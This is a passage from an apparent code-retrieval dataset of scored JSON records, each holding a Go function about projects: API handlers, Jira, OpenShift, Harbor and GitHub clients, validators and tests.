nginx.loadbalancer.annotations.enabled is set to false, an IP address is required \")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "d2bd08dc9b8547bdd7c2b2a2dd4c868a", "score": "0.55901986", "text": "func isProject(post *reddit.Post) bool {\n\treturn post.LinkFlairText == \"Approved Project\" || post.LinkFlairText == \"Official Project\"\n}", "title": "" }, { "docid": "10f8ae39ff4eaf3e8f4cfa0e7d9aa20f", "score": "0.55887", "text": "func ProjectList(w http.ResponseWriter, r *http.Request) {\n\tprojects, err := utils.GetListComposeProject()\n\n\tif err == nil {\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\tw.WriteHeader(http.StatusOK)\n\t\tif err := json.NewEncoder(w).Encode(projects); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tw.WriteHeader(http.StatusNotFound)\n\tif err := json.NewEncoder(w).Encode(jsonErr{Code: http.StatusNotFound, Text: err.Error()}); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "bbd7053935e735b9e7f40efa723b55f8", "score": "0.5586878", "text": "func (o *CalendarEventsResponseIncluded) GetProjectsOk() (*map[string]ViewProject, bool) {\n\tif o == nil || o.Projects == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Projects, true\n}", "title": "" }, { "docid": "4e3fb0946d39d95420cdb50f1a814331", "score": "0.55727863", "text": "func getProjects(jiraURL string, log *logrus.Entry) {\n\tjiraClient := getJIRAClient(jiraURL, log)\n\treq, _ := jiraClient.NewRequest(\"GET\", \"rest/api/2/project\", nil)\n\n\tprojects := new([]jira.Project)\n\t_, err := jiraClient.Do(req, projects)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tfor _, project := range *projects {\n\t\tlog.Infof(\"%s: %s\\n\", project.Key, project.Name)\n\t}\n}", "title": "" }, { "docid": "579f063c0923f9ef9f37498f56da3a97", "score": "0.55720055", "text": "func Projects(endpoint string) []string {\n\n\treq, err := http.NewRequest(\"GET\", \"https://\"+endpoint+\"/apis/project.openshift.io/v1/projects\", nil)\n\treq.Header.Add(\"Authorization\", \"Bearer \"+Token(endpoint))\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tlog.Println(\"Error on response.\\n[ERROU] -\", err)\n\t}\n\n\ttype projects struct {\n\t\tItems []struct {\n\t\t\tMetadata struct {\n\t\t\t\tName string\n\t\t\t}\n\t\t}\n\t}\n\n\tbody, readErr := ioutil.ReadAll(resp.Body)\n\tif readErr != nil {\n\t\tlog.Fatal(readErr)\n\t}\n\n\tfetchedProjects := projects{}\n\n\tjsonErr := json.Unmarshal(body, &fetchedProjects)\n\tif jsonErr != nil {\n\t\tlog.Fatal(jsonErr)\n\t}\n\n\toptions := make([]string, len(fetchedProjects.Items))\n\tfor index, project := range fetchedProjects.Items {\n\n\t\toptions[index] = project.Metadata.Name\n\t}\n\n\treturn options\n\n}", "title": "" }, { "docid": "4bd621caa0f819a4422050b50efde294", "score": "0.55701566", "text": "func TestProjectEmptyUserList (t *testing.T) {\n\tresponse := callSecured(http.NewRequest(\"GET\", \"/api/v.0.0.1/project/\" + prjKey + \"/user/list\", nil))\n\tcheckResponseCode(t, http.StatusOK, response.Code)\n\tif body := response.Body.String(); body != \"\" {\n\t\tvar resp UserArrayResponse\n\t\tcheckError(json.Unmarshal([]byte(body), &resp), t)\n\n\t\tif resp.Success != true {\n\t\t\tt.Errorf(\"Expected success=true. Got suceess=%v, error=%v\", resp.Success, resp.Error)\n\t\t\tt.FailNow()\n\t\t}\n\n\t\tif len(resp.Body) != 0 {\n\t\t\tt.Errorf(\"Expected no users in project. Got %v\", len(resp.Body))\n\t\t\tt.FailNow()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4d3a8715fc86bee37815ba9817e1c449", "score": "0.55502075", "text": "func (s *Store) Projects(opts *atlas.ListOptions) (interface{}, error) {\n\tswitch s.service {\n\tcase config.CloudService:\n\t\tresult, _, err := s.client.(*atlas.Client).Projects.GetAllProjects(context.Background(), opts)\n\t\treturn result, err\n\tcase config.CloudManagerService, config.OpsManagerService:\n\t\tresult, _, err := s.client.(*opsmngr.Client).Projects.List(context.Background(), opts)\n\t\treturn result, err\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unsupported service: %s\", s.service)\n\t}\n}", "title": "" }, { "docid": "d580f9caa9fb800e035211d9255c6b62", "score": "0.55464745", "text": "func ListProjects(ctx context.Context, tenant string, registry string, includePublic bool, q string, start, limit int) (int, []*types.Project, error) {\n\tvar total int\n\tvar pInfos []*models.ProjectInfo\n\tvar err error\n\tif q != \"\" {\n\t\ttotal, pInfos, err = models.Project.FindOnePageWithPrefix(tenant, registry, includePublic, q, start, limit)\n\t\tif err != nil {\n\t\t\treturn 0, nil, ErrorUnknownInternal.Error(err)\n\t\t}\n\t} else {\n\t\ttotal, pInfos, err = models.Project.FindOnePage(tenant, registry, includePublic, start, limit)\n\t\tif err != nil {\n\t\t\treturn 0, nil, ErrorUnknownInternal.Error(err)\n\t\t}\n\t}\n\n\tcli, err := harbor.ClientMgr.GetClient(registry)\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\thProjects, err := cli.AllProjects(q, \"\")\n\tif err != nil {\n\t\tlog.Errorf(\"list all projects from registry: %s error: %s\", registry, err)\n\t\treturn 0, nil, err\n\t}\n\thProjectMap := convertHarborProjectsToMap(hProjects)\n\n\tresults := make([]*types.Project, 0, len(pInfos))\n\tfor _, pInfo := range pInfos {\n\t\thProject, ok := hProjectMap[pInfo.ProjectId]\n\t\tsynced := true\n\t\tif !ok {\n\t\t\tlog.Errorf(\"get project %d from Harbor failed: %v\", pInfo.ProjectId, err)\n\t\t\thProject = &harbor.HarborProject{}\n\t\t\tsynced = false\n\t\t}\n\n\t\tcntSource, _ := models.Replication.CountAsSoure(tenant, registry, pInfo.Name)\n\t\tcntTarget, _ := models.Replication.CountAsTarget(tenant, registry, pInfo.Name)\n\n\t\tresults = append(results, &types.Project{\n\t\t\tMetadata: &types.ProjectMetadata{\n\t\t\t\tName: pInfo.Name,\n\t\t\t\tCreationTime: pInfo.CreationTime,\n\t\t\t\tLastUpdateTime: pInfo.LastUpdateTime,\n\t\t\t},\n\t\t\tSpec: &types.ProjectSpec{\n\t\t\t\tIsPublic: pInfo.IsPublic,\n\t\t\t\tIsProtected: pInfo.IsProtected,\n\t\t\t\tRegistry: pInfo.Registry,\n\t\t\t\tDescription: pInfo.Description,\n\t\t\t\tLastImageUpdateTime: hProject.UpdateTime,\n\t\t\t},\n\t\t\tStatus: &types.ProjectStatus{\n\t\t\t\tSynced: synced,\n\t\t\t\tRepositoryCount: hProject.RepoCount,\n\t\t\t\tReplicationCount: cntSource + cntTarget,\n\t\t\t},\n\t\t})\n\t}\n\treturn total, results, nil\n}", "title": "" }, { "docid": "f34ce388d6b0161cc6594ad146cf0b69", "score": "0.55419385", "text": "func ProjectInfo(r runner.Runner) (metadata.ProjectInfo, error) {\n\n\tcmd := []string{\"gcloud\", \"config\", \"list\", \"--format\", \"value(core.project)\"}\n\tvar idb, numb bytes.Buffer\n\tif err := r.Run(cmd, nil, &idb, os.Stderr, \"\"); err != nil {\n\t\treturn metadata.ProjectInfo{}, err\n\t}\n\tprojectID := strings.TrimSpace(idb.String())\n\n\tif projectID == \"\" {\n\t\treturn metadata.ProjectInfo{}, fmt.Errorf(\"no project is set in gcloud, use 'gcloud config set project my-project'\")\n\t}\n\n\tcmd = []string{\"gcloud\", \"projects\", \"describe\", projectID, \"--format\", \"value(projectNumber)\"}\n\tif err := r.Run(cmd, nil, &numb, os.Stderr, \"\"); err != nil {\n\t\treturn metadata.ProjectInfo{}, err\n\t}\n\tprojectNum, err := strconv.ParseInt(strings.TrimSpace(numb.String()), 10, 64)\n\tif err != nil {\n\t\treturn metadata.ProjectInfo{}, err\n\t}\n\n\treturn metadata.ProjectInfo{\n\t\tProjectID: projectID,\n\t\tProjectNum: projectNum,\n\t}, nil\n}", "title": "" }, { "docid": "487b2c1748bb8f6dd357da12e01777b0", "score": "0.5540305", "text": "func (b *Bootstrapper) isProject() bool {\n\t_, err := os.Stat(\"project.json\")\n\treturn err == nil\n}", "title": "" }, { "docid": "040ba59bd7644a7e6d5e7df7f4899685", "score": "0.55284584", "text": "func (s *structure) validate() error {\n\ts.Lock()\n\tdefer s.Unlock()\n\tvar projectNames []string\n\terrPrefix := \"config error: \"\n\tpattern := \"^[-a-zA-Z0-9_]{2,}$\"\n\tfor _, p := range s.ProjectList {\n\t\tname := string(p.Name)\n\t\tmatch, _ := regexp.MatchString(pattern, name)\n\t\tif !match {\n\t\t\treturn errors.New(errPrefix + \"wrong project name – \" + name)\n\t\t}\n\t\tif p.Secret == \"\" {\n\t\t\treturn errors.New(errPrefix + \"secret required for project – \" + name)\n\t\t}\n\t\tif stringInSlice(name, projectNames) {\n\t\t\treturn errors.New(errPrefix + \"project name must be unique – \" + name)\n\t\t}\n\t\tprojectNames = append(projectNames, name)\n\n\t\tif p.Namespaces == nil {\n\t\t\tcontinue\n\t\t}\n\t\tvar nss []string\n\t\tfor _, n := range p.Namespaces {\n\t\t\tname := string(n.Name)\n\t\t\tmatch, _ := regexp.MatchString(pattern, name)\n\t\t\tif !match {\n\t\t\t\treturn errors.New(errPrefix + \"wrong namespace name – \" + name)\n\t\t\t}\n\t\t\tif stringInSlice(name, nss) {\n\t\t\t\treturn errors.New(errPrefix + \"namespace name must be unique for project – \" + name)\n\t\t\t}\n\t\t\tnss = append(nss, name)\n\t\t}\n\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "fb607aab5367ee979e78898cc71428f0", "score": "0.55241555", "text": "func (projectFactory projectFactory) loadProject(project ecscompose.Project) error {\n\terr := project.Parse()\n\tif err != nil {\n\t\tutils.LogError(err, \"Unable to open ECS Compose Project\")\n\t}\n\treturn err\n}", "title": "" }, { "docid": "70ef70061228a15abe756a1160c16e0c", "score": "0.55209696", "text": "func (p *Project) Err() error {\n\treturn p.err\n}", "title": "" }, { "docid": "4f3b0ec7d9dfc2b9e0eb62ba6ce7f51f", "score": "0.55174476", "text": "func TestFindAllProjects (t *testing.T) {\n\tresponse := callSecured(http.NewRequest(\"GET\", \"/api/v.0.0.1/project/list\", nil))\n\tcheckResponseCode(t, http.StatusOK, response.Code)\n\tif body := response.Body.String(); body != \"\" {\n\t\tvar resp ProjectArrayResponse\n\t\tcheckError(json.Unmarshal([]byte(body), &resp), t)\n\n\t\tif resp.Success != true {\n\t\t\tt.Errorf(\"Expected success=true. Got suceess=%v, error=%v\", resp.Success, resp.Error)\n\t\t\tt.FailNow()\n\t\t}\n\n\t\tif len(resp.Body) == 0 {\n\t\t\tt.Errorf(\"Expected at least one project. Got %v\", len(resp.Body))\n\t\t\tt.FailNow()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2e36efae43f6b2fa82bdc04571e4fad6", "score": "0.55173737", "text": "func (ctx *GetProjectContext) OK(r *Project) error {\n\tctx.ResponseData.Header().Set(\"Content-Type\", \"application/project+json\")\n\treturn ctx.ResponseData.Service.Send(ctx.Context, 200, r)\n}", "title": "" }, { "docid": "4a1313ccf8b4caa0b6ba34a6596efecd", "score": "0.5509773", "text": "func (h *Handler) ProjectsCreate(w http.ResponseWriter, r *http.Request) {\n\tvar p models.Project\n\tif r.Body == nil {\n\t\terrorResponse(w, http.StatusBadRequest, badRequestError)\n\t\tlog.Println(badRequestError)\n\t\treturn\n\t}\n\tdecoder := json.NewDecoder(r.Body)\n\tif err := decoder.Decode(&p); err != nil {\n\t\terrorResponse(w, http.StatusBadRequest, badRequestError)\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\tif err := h.Store.CreateProject(&p); err != nil {\n\t\terrorResponse(w, http.StatusInternalServerError, defaultError)\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tresponse(w, http.StatusCreated, p)\n}", "title": "" }, { "docid": "ebb51777c8aaff368d4ca50c27db53fd", "score": "0.5507046", "text": "func TestProjectErr(t *testing.T) {\n err := fmt.Errorf(\"something bad happened\")\n infinity := &InfinityRunner{}\n runner := Project(infinity, &ErrRunner{err})\n data := NewDataset(Null.Data(1))\n data, err = testRun(runner, data)\n\n require.Equal(t, 0, data.Width())\n require.Error(t, err)\n require.Equal(t, \"something bad happened\", err.Error())\n require.Equal(t, false, infinity.Running, \"Infinity go-routine leak\")\n}", "title": "" }, { "docid": "f975a089b398bf9a56bb343461f6f6a5", "score": "0.5506706", "text": "func (o *PeoplePersonOfPeople) GetProjectsOk() (*[]int32, bool) {\n\tif o == nil || o.Projects == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Projects, true\n}", "title": "" }, { "docid": "ab189e018434c7295784bb8416ae2c42", "score": "0.54961944", "text": "func (d TestDevfileData) AddProjects(projects []v1.Project) error { return nil }", "title": "" }, { "docid": "b4352f23892f4929bb6b9f446a1249d0", "score": "0.54918563", "text": "func ProjectShow(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tvar err error\n\tappID := vars[\"appId\"]\n\n\tcomposeData, err := utils.GetComposeProject(appID)\n\n\tif err == nil {\n proj, err := utils.GetProject(composeData, appID);\n\n\t\tif err == nil {\n\t\t\tvar projInfo projectInfo\n\t\t\tvar svcInfo []serviceInfo\n\n\t\t\tprojInfo.ProjectID = appID\n\n\t\t\tfor _, name := range proj.Configs.Keys() {\n config, _ := proj.Configs.Get(name)\n\t\t\t\tservice, _ := proj.CreateService(name)\n\t\t\t\tcontainers, _ := service.Containers()\n\t\t\t var containersInfo []containerInfo\n \n\t\t\t\tfor _, cont := range containers {\n\t\t\t\t\tisRunning, _ := cont.IsRunning()\n\n\t\t\t\t\tvar ports []port\n\t\t\t\t\tfor _, p := range config.Ports {\n\t\t\t\t\t\tif !strings.HasSuffix(p, \"/tcp\") && !strings.HasSuffix(p, \"/udp\") {\n\t\t\t\t\t\t\tp = p + \"/tcp\"\n\t\t\t\t\t\t}\n\t\t\t\t\t\tportHost, _ := cont.Port(p)\n\t\t\t\t\t\tports = append(ports, port{\n\t\t\t\t\t\t\tPortHost: portHost,\n\t\t\t\t\t\t\tPortCont: p,\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\n\t\t\t\t\tcontainersInfo = append(containersInfo, containerInfo{\n\t\t\t\t\t\tContainerName: cont.Name(),\n\t\t\t\t\t\tPort: ports,\n\t\t\t\t\t\tIsRunning: isRunning,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t\tserviceTemp := serviceInfo{\n\t\t\t\t\tServiceName: name,\n\t\t\t\t\tContainers: containersInfo,\n\t\t\t\t\tConfig: config,\n\t\t\t\t}\n\t\t\t\tsvcInfo = append(svcInfo, serviceTemp)\n\t\t\t}\n\t\t\tprojInfo.Services = svcInfo\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\tif err := json.NewEncoder(w).Encode(projInfo); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tw.WriteHeader(http.StatusNotFound)\n\tif err := json.NewEncoder(w).Encode(jsonErr{Code: http.StatusNotFound, Text: err.Error()}); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "86d723a31f26d8dff8a835de87611ae4", "score": "0.548515", "text": "func (c *Client) Projects(login string, t OwnerType, limit int, fields bool) ([]Project, int, error) {\n\tprojects := make([]Project, 0)\n\tcursor := (*githubv4.String)(nil)\n\thasNextPage := false\n\ttotalCount := 0\n\n\tif limit == 0 {\n\t\tlimit = LimitDefault\n\t}\n\n\t// set first to the min of limit and LimitMax\n\tfirst := LimitMax\n\tif limit < first {\n\t\tfirst = limit\n\t}\n\n\tvariables := map[string]interface{}{\n\t\t\"first\": githubv4.Int(first),\n\t\t\"after\": cursor,\n\t\t\"firstItems\": githubv4.Int(0),\n\t\t\"afterItems\": (*githubv4.String)(nil),\n\t\t\"firstFields\": githubv4.Int(0),\n\t\t\"afterFields\": (*githubv4.String)(nil),\n\t}\n\n\tif fields {\n\t\tvariables[\"firstFields\"] = githubv4.Int(LimitMax)\n\t}\n\n\tif t != ViewerOwner {\n\t\tvariables[\"login\"] = githubv4.String(login)\n\t}\n\t// loop until we get all the projects\n\tfor {\n\t\t// the code below is very repetitive, the only real difference being the type of the query\n\t\t// and the query variables. I couldn't figure out a way to make this cleaner that was worth\n\t\t// the cost.\n\t\tif t == UserOwner {\n\t\t\tvar query userProjects\n\t\t\tif err := c.doQuery(\"UserProjects\", &query, variables); err != nil {\n\t\t\t\treturn projects, 0, err\n\t\t\t}\n\t\t\tprojects = append(projects, query.Owner.Projects.Nodes...)\n\t\t\thasNextPage = query.Owner.Projects.PageInfo.HasNextPage\n\t\t\tcursor = &query.Owner.Projects.PageInfo.EndCursor\n\t\t\ttotalCount = query.Owner.Projects.TotalCount\n\t\t} else if t == OrgOwner {\n\t\t\tvar query orgProjects\n\t\t\tif err := c.doQuery(\"OrgProjects\", &query, variables); err != nil {\n\t\t\t\treturn projects, 0, err\n\t\t\t}\n\t\t\tprojects = append(projects, query.Owner.Projects.Nodes...)\n\t\t\thasNextPage = query.Owner.Projects.PageInfo.HasNextPage\n\t\t\tcursor = &query.Owner.Projects.PageInfo.EndCursor\n\t\t\ttotalCount = query.Owner.Projects.TotalCount\n\t\t} else if t == ViewerOwner {\n\t\t\tvar query viewerProjects\n\t\t\tif err := c.doQuery(\"ViewerProjects\", &query, variables); err != nil {\n\t\t\t\treturn projects, 0, err\n\t\t\t}\n\t\t\tprojects = append(projects, query.Owner.Projects.Nodes...)\n\t\t\thasNextPage = query.Owner.Projects.PageInfo.HasNextPage\n\t\t\tcursor = &query.Owner.Projects.PageInfo.EndCursor\n\t\t\ttotalCount = query.Owner.Projects.TotalCount\n\t\t}\n\n\t\tif !hasNextPage || len(projects) >= limit {\n\t\t\treturn projects, totalCount, nil\n\t\t}\n\n\t\tif len(projects)+LimitMax > limit {\n\t\t\tfirst := limit - len(projects)\n\t\t\tvariables[\"first\"] = githubv4.Int(first)\n\t\t}\n\t\tvariables[\"after\"] = cursor\n\t}\n}", "title": "" }, { "docid": "1e69af3d7ede961dee47d8e7ea6f1326", "score": "0.54748917", "text": "func (d *DummyProject) Projects(userID int64) ([]map[string]interface{}, error) {\n\tvar result []map[string]interface{}\n\tp := map[string]interface{}{\n\t\t\"id\": 1,\n\t\t\"userID\": userID,\n\t\t\"title\": \"title\",\n\t\t\"description\": \"description\",\n\t\t\"repositoryID\": sql.NullInt64{},\n\t\t\"showIssues\": true,\n\t\t\"showPullRequests\": true,\n\t}\n\tresult = append(result, p)\n\treturn result, nil\n}", "title": "" }, { "docid": "4aee5875a710550bfe594ab99265b397", "score": "0.54737926", "text": "func TestProjectModel_ReadProject(t *testing.T) {\n\tSetupDatabase(true)\n\ttests := []struct {\n\t\tname string\n\t\targs []int\n\t\twantOne *ProjectModel\n\t\twantAll []*ProjectModel\n\t}{\n\t\t{\n\t\t\t\"Uno\",\n\t\t\t[]int{1},\n\t\t\tprojects[0],\n\t\t\tnil,\n\t\t}, {\n\t\t\t\"Todos\",\n\t\t\t[]int{},\n\t\t\tnil,\n\t\t\t[]*ProjectModel{\n\t\t\t\t{\n\t\t\t\t\tID: 1,\n\t\t\t\t\tTitulo: \"Personal\",\n\t\t\t\t\tDetalle: \"uno muy bonito\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tID: 2,\n\t\t\t\t\tTitulo: \"Artemis\",\n\t\t\t\t\tDetalle: \"mi favorito\",\n\t\t\t\t},\n\t\t\t},\n\t\t}, {\n\t\t\t\"Error\",\n\t\t\t[]int{3},\n\t\t\tnil,\n\t\t\tnil,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tone, all, err := Project.ReadProject(tt.args...)\n\t\t\tif err != nil {\n\t\t\t\tt.Errorf(err.Error())\n\t\t\t}\n\t\t\tif tt.wantOne != nil {\n\t\t\t\ttt.wantOne.Lenguajes = lenguajes\n\t\t\t}\n\t\t\tif len(tt.args) > 0 {\n\t\t\t\tif one != nil {\n\t\t\t\t\tcompareNotes(tt.wantOne.Notas, one.Notas, t)\n\t\t\t\t\t// one.Notas, tt.wantOne.Notas = nil, nil\n\t\t\t\t\tcompareLenguajes(tt.wantOne.Lenguajes, one.Lenguajes, t)\n\t\t\t\t\tcompareImages(tt.wantOne.Galeria, one.Galeria, t)\n\t\t\t\t\tone.Galeria, tt.wantOne.Galeria = nil, nil\n\t\t\t\t}\n\t\t\t\tif !reflect.DeepEqual(one, tt.wantOne) {\n\t\t\t\t\tt.Errorf(\"ProjectModel.ReadProject() got = %v, want %v\", one, tt.wantOne)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor index, val := range all {\n\t\t\t\t\tif val.ID == 1 {\n\t\t\t\t\t\ttt.wantAll[index].Lenguajes = lenguajes\n\t\t\t\t\t}\n\t\t\t\t\t// compareLenguajes(tt.wantAll[index].Lenguajes, val.Lenguajes, t)\n\t\t\t\t\tif !reflect.DeepEqual(val, tt.wantAll[index]) {\n\t\t\t\t\t\tt.Errorf(\"ProjectModel.ReadProject() got1 = %v, want %v\", val, tt.wantAll[index])\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t})\n\t}\n}", "title": "" }, { "docid": "15385b84bc682b6e86e0f1792663c841", "score": "0.54679734", "text": "func Projects(w http.ResponseWriter, r *http.Request) {\n\tproject := projects.Project{}\n\terr := json.NewDecoder(r.Body).Decode(&project)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"\" + err.Error() + \"\\\"}\"))\n\t\tif errWrite != nil {\n\t\t\tlog.Printf(\"[ERROR] Not Writing to ResponseWriter error %s due: %s\", err.Error(), errWrite.Error())\n\t\t}\n\t\treturn\n\t}\n\tproject.DBClient = pgClient\n\tswitch r.Method {\n\tcase \"POST\":\n\t\terr = project.Create()\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"\" + err.Error() + \"\\\"}\"))\n\t\t\tif errWrite != nil {\n\t\t\t\tlog.Printf(\"[ERROR] Not Writing to ResponseWriter error %s due: %s\", err.Error(), errWrite.Error())\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"Project created \\\"}\"))\n\t\tif errWrite != nil {\n\t\t\tlog.Printf(\"[ERROR]User created, but Not Writing to ResponseWriter due: %s\", errWrite.Error())\n\t\t}\n\tcase \"PUT\":\n\t\terr = project.Update()\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"\" + err.Error() + \"\\\"}\"))\n\t\t\tif errWrite != nil {\n\t\t\t\tlog.Printf(\"[ERROR] Not Writing to ResponseWriter error %s due: %s\", err.Error(), errWrite.Error())\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"Project updated \\\"}\"))\n\t\tif errWrite != nil {\n\t\t\tlog.Printf(\"[ERROR] Project updated, but Not Writing to ResponseWriter due: %s\", errWrite.Error())\n\t\t}\n\tcase \"DELETE\":\n\t\terr = project.Delete()\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"\" + err.Error() + \"\\\"}\"))\n\t\t\tif errWrite != nil {\n\t\t\t\tlog.Printf(\"[ERROR] Not Writing to ResponseWriter error %s due: %s\", err.Error(), errWrite.Error())\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"Project deleted \\\"}\"))\n\t\tif errWrite != nil {\n\t\t\tlog.Printf(\"[ERROR] Project deleted, but Not Writing to ResponseWriter due: %s\", errWrite.Error())\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b3a647c07800802466b081b5cca6f1ad", "score": "0.54658705", "text": "func (b BuildPluginImpl) PreProcessProjects(workingDir *string, homeDir *string, async *bool) {\n\tfmt.Println(\"Example Plugin: PreProcessProjects - Just about to start processing the projects, I know that we're in\", *workingDir, \" and the configuration wants us in\", *homeDir)\n}", "title": "" }, { "docid": "ff366bd6c6d81955599a32af42774d6a", "score": "0.5437467", "text": "func IsProjectHaveParent(project *models.ProjectOutputDetailed) bool {\n\treturn project != nil && project.Foundation != nil && project.Foundation.ID != \"\" && project.Foundation.Name != \"\" && project.Foundation.Slug != \"\"\n}", "title": "" }, { "docid": "61d702166ee08a4017ca49253717c646", "score": "0.54357576", "text": "func (mavenlink *MavenlinkApi) GetProjects() ([]*communicator.Project, error) {\n\tvar workspacesResponse *communicator.MavenlinkWorkspacesResponse\n\tvar projects []*communicator.Project\n\tvar Url *url.URL\n\tUrl, UrlErr := url.Parse(mavenlink.env.Url)\n\tif UrlErr != nil {\n\t\treturn nil, errors.New(\"Failed to parse environment URL\")\n\t}\n\tUrl.Path += endpoint[\"workspaces\"]\n\ttoken := mavenlink.env.Token\n\tapiErr := InsecureRequest(Url.String(), \"GET\", nil, token, &workspacesResponse)\n\tif apiErr != nil {\n\t\tif mavenlink.env.Debug == true {\n\t\t\tlog.Logf(\"Error(API - %s) : %s\\n\", Url.String(), apiErr)\n\t\t}\n\t\treturn nil, apiErr\n\t}\n\tif workspacesResponse == nil {\n\t\tvar temp map[string]interface{}\n\t\tsomeErr := InsecureRequest(Url.String(), \"GET\", nil, token, &temp)\n\t\tif someErr != nil {\n\t\t\treturn nil, errors.New(\"Failed to retrieve response from workspaces endpoint(Level 2)\")\n\t\t}\n\t\tlog.Logf(\"JSON response: %v\\n\", temp)\n\t\treturn nil, errors.New(\"Failed to retrieve response from workspaces endpoint\")\n\t}\n\tif workspacesResponse.Count > 0 {\n\t\tfor key, workspace := range workspacesResponse.Workspaces {\n\t\t\tif fmt.Sprint(key) == workspace.Id {\n\t\t\t\tproject := new(communicator.Project)\n\t\t\t\tproject.Id = workspace.Id\n\t\t\t\tproject.Title = workspace.Title\n\t\t\t\tproject.Description = workspace.Description\n\t\t\t\tproject.AccessLevel = workspace.AccessLevel\n\t\t\t\tproject.AccountId = workspace.AccountId\n\t\t\t\tproject.Archived = workspace.Archived\n\t\t\t\tproject.Currency = workspace.Currency\n\t\t\t\tproject.CurrencySymbol = workspace.CurrencySymbol\n\t\t\t\tproject.CreatedAt = workspace.CreatedAt\n\t\t\t\tproject.DueDate = workspace.DueDate\n\t\t\t\tproject.EffectiveDueDate = workspace.EffectiveDueDate\n\t\t\t\tproject.StartDate = workspace.StartDate\n\t\t\t\tproject.UpdatedAt = workspace.UpdatedAt\n\t\t\t\tprojects = append(projects, project)\n\t\t\t}\n\t\t}\n\t\tif len(projects) != int(workspacesResponse.Count) {\n\t\t\treturn nil, errors.New(\n\t\t\t\t\"Mismatch found between processed and retrieved count. Failed to retrieve all Projects!\")\n\t\t}\n\t}\n\treturn projects, nil\n}", "title": "" }, { "docid": "6a424925acd78d3b55b1a03e7e82fe87", "score": "0.54337317", "text": "func TestProjects(t *testing.T) {\n\tprojects, err := Projects(circle_ci_token)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tlog.Println(projects)\n}", "title": "" }, { "docid": "4dc210b7046ea9e7836b4e17522d22e2", "score": "0.5429909", "text": "func getAllProjects(request router.Request) (int, []byte) {\n\n\tprojectDTOs, err := GetProjectDTOsFromGAE(request.GetContext())\n\n\tif err != nil {\n\t\tlog.Errorf(request.GetContext(), \"Errorf retriving project: %v\", err)\n\t\treturn http.StatusInternalServerError, []byte(err.Error())\n\t} else {\n\t\t//Convert to Projects\n\t\tvar projects []Project\n\t\tfor _, projectDTO := range projectDTOs {\n\t\t\tvar project, err = projectDTO.GetProject()\n\t\t\tif err == nil {\n\t\t\t\tprojects = append(projects, project)\n\t\t\t} else {\n\t\t\t\treturn http.StatusInternalServerError, []byte(err.Error())\n\t\t\t}\n\t\t}\n\n\t\tprojectBytes, err := json.MarshalIndent(projects, \"\", \"\t\")\n\t\tif err != nil {\n\t\t\tlog.Errorf(request.GetContext(), \"Errorf retriving Projects: %v\", err)\n\t\t\treturn http.StatusInternalServerError, []byte(err.Error())\n\t\t}\n\t\treturn http.StatusOK, projectBytes\n\t}\n}", "title": "" }, { "docid": "2e1737747e585a8961f6025fea5b50fc", "score": "0.5417424", "text": "func GetProjectList(pageNum int, pageSize int, pj *Project, platName string) (content []byte, err error) {\n\tvar p Project\n\t// query db\n\tdb := config.GetDB()\n\tsql := \"SELECT a.`id`, a.`name`, a.`platform_id`, b.`name`, IFNULL(a.`cdn_id`, 0), a.`path`, a.`domain`, a.`status`, a.`create_time`, a.`update_time`\" +\n\t\t\"FROM t_project a INNER JOIN t_cdn_platform b WHERE a.`platform_id` = b.`id`\"\n\tif pj.Name != \"\" {\n\t\tsql = sql + \" AND a.`name` like '%\" + pj.Name + \"%'\"\n\t}\n\tif pj.Status != \"\" {\n\t\tsql = sql + \" AND a.`status` like '%\" + pj.Status + \"%'\"\n\t}\n\tif platName 